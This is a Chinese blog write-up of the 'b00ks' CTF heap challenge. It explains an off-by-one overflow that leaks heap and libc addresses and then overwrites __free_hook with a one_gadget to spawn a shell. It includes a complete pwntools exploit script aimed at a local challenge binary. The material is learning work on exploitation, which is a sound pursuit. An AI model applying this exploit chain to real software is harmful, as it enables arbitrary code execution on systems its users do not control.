b00ks writeup

混子pwn手,最近在看堆的知识点,刚看完CTF-WiKi上的堆的基础知识,开始学习offbyone的利用
先介绍一下offbyone吧,offbyone是指单字节缓冲区溢出
offbyone形成原因:

  • 边界验证不严,使用循环语句向堆块中写入数据时,循环的次数设置错误导致多输入了一个字节
  • 字符串的操作不合适

接下来写下CTF-wiki上的b00ks的writeup,因为它上面并没有解题脚本,只介绍了利用方法,看得我这个菜狗有点小蒙,不过还好找到了大佬写的writeup 大佬writeup地址
下面主要是做点笔记

程序是一个菜单程序
它先让你输入author,然后打印菜单
它提供了6个功能

  1. create book
  2. delete book
  3. Edit a book
  4. print book detail
  5. change current author name
  6. exit

这个程序的漏洞在于它在修改author时,存在offbyone漏洞

image.png

这个b00k的结构体:

image.png

大概是这样子的:

struct b00k{
      int id;
      char *name;
      char *description
      int size;
}

观察ida反汇编的代码可以发现它对要创建b00k name和description的大小都 没有限制,所以可以创建一个很大的b00k

用gdb调试发现,author后面跟着b00k数组


image.png

0x0000555555758160是b00k数组的第一个指针,指向b00k1
只要先往author写入32个字节的内容,然后创建b00k1,在打印就可以泄露出b00k1的地址

这题要泄露出libc的地址,可以通过给b00k2分配一个很大的空间,然后泄露出b00k2的description的地址来计算出libc的地址

原理是:
   If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
计算方法:
libc_base = leak_b00k2_pointer - offset
offset是description地址到libc_base的偏移

计算出libc的基地址后,我们就可以通过 基地址+函数在libc中的偏移的方法获取需要的函数的地址
在这里用到的函数是__free_hook()和 execve("/bin/sh",null,environ)
只要将__free_hook()函数的内容修改为execve("/bin/sh",null,environ) 然后再free,只要__free_hook()的内容不为空,它就会去执行内容中的execve("/bin/sh",null,environ)

一些要注意的地方
1. __free_hook()是libc内存管理的钩子函数,允许程序员使用自己定义
的函数来free, 如果__free_hook()的内容不为空,就会执行内容所指
的函数,所以可以通过将__free_hook()函数的内容覆盖成我们想要执
行的函数,再通过free来执行

2. execve("/bin/sh",null,environ) 这个函数可以通过onegadget来找
到,可能找到几个,如果不行就多试几次

hook详情参考

onegadget

解题思路:

  1. 通过print 泄露处b00k1的地址,计算出b00k2的description的地址
  2. 通过edit,修改b00k1的description,在上面伪造b00k1,使其的name和description指针指向b00k2的description
  3. 通过修改author,向author写入32个'a',造成nulloffbyone,使b00k1的指针指向伪造的b00k1
  4. 通过 print 泄露处b00k2的description的地址,计算出libc_base
  5. 利用edit功能通过修改b00k1的description将b00k2的description地址修改为__free_hook()函数的地址,再用edit功能向b00k2的description写入execve("/bin/sh",null,environ) 的地址
  6. 最后通过delete功能将b00k2free掉就可以getshell

附上我写的exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"

def create_b00k(p,size):
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline("aaaa")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline("aaaa")
    log.info("create successfully!!!!")

def edit_b00k(p,payload,index):
    p.recv()
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(index))
    p.recvuntil(":")
    p.sendline(payload)
    log.info("edit successfully !!")
    
def change(p):
    p.recvuntil(">")
    p.sendline("5")
    p.recvuntil(":")
    p.sendline("a"*32)
    log.info("change successfully!!!!")

def memleak1(p):
    p.recv()
    p.sendline("4")
    p.recvuntil("Author: ")
    data = p.recvline()
    log.info(p.recvuntil(">"))
    data = data.split("a"*32)[1].strip("\n")
    addr = u64(data.ljust(8,"\x00"))
    return addr

def memleak2(p):
    p.recv()
    p.sendline("4")
    p.recvuntil("Name: ")
    data = p.recvline()
    data = data.strip("\n").ljust(8,"\x00")
    data = u64(data)
    log.info("leak b00k2 successsfully")
    return data

p = process("./b00ks")
libc = ELF("./libc.so.6")
p.recvuntil(":")
p.sendline('a'*32)
p.recvuntil(">")
create_b00k(p,140) #b00k1的大小不能太小,不然伪造的fake_b00k1就不能落在正确的地方,就不能被泄露出来

def release():
    p.sendline("2")
    log.info(p.recvuntil(":"))
    p.sendline("2")

log.info("********** leak b00ks1 pointer address **********")
addr = memleak1(p)
print "b00k1 pointer address is --> [%s]"%hex(addr)

log.info("********** edit fake_b00k1 ***********")
b00k2_p = addr + 0x38 #0x38 = 0x20 + 16 + 8  strut_size + chunk_header + sizeof(struct.size)
print "b00k2 pointer address --> [%s]"%hex(b00k2_p)
create_b00k(p,0x21000)
payload = 'a'*0x40 + p64(1) + p64(b00k2_p)*2 + p64(0xffff)
edit_b00k(p,payload,1)

log.info("*********** change author name ***********")
change(p)
addr1 = memleak2(p)
print "b00k2 pointer is --> [%s]"%hex(addr1)

log.info("*********** calculate libc_base **************")
gdb.attach(p)
pause()
offset = addr1 - 0x7ffff7a0d000
libc_base = addr1 - offset
print "libc_base address --> [%s]"%hex(libc_base)
free_hook = libc.symbols['__free_hook'] + libc_base
execve_addr = libc_base + 0x4526a #one_gadget libc.so.6

log.info("*******change description **********")
payload = p64(free_hook)*2
edit_b00k(p,payload,1)
payload = p64(execve_addr)
edit_b00k(p,payload,2)
release()
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,928评论 6 509
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,748评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,282评论 0 357
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,065评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,101评论 6 395
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,855评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,521评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,414评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,931评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,053评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,191评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,873评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,529评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,074评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,188评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,491评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,173评论 2 357

推荐阅读更多精彩内容

  • Swift版本点击这里欢迎加入QQ群交流: 594119878最新更新日期:18-09-17 About A cu...
    ylgwhyh阅读 25,397评论 7 249
  • 王然一个人坐在沙发上哭得撕心裂肺。在宝贝女儿萌萌边说:“我讨厌你!",边甩门出去之后。 事情是这样的,早上王然就让...
    安心雨阅读 1,021评论 47 89
  • 今天我过生日,感觉不到一点愉快的心情,写不出精美的句子。在这里,祝自己生日快乐,早点开心起来。生活平稳起来,经不起...
    秋天不落的一片叶阅读 230评论 0 0
  • 文/柳夕 我们都有梦想 都任为它太遥远了 长大以后才能实现 可,真的吗? 你难道没看到那束灯光 在向你 招手吗?
    邵风阅读 133评论 0 6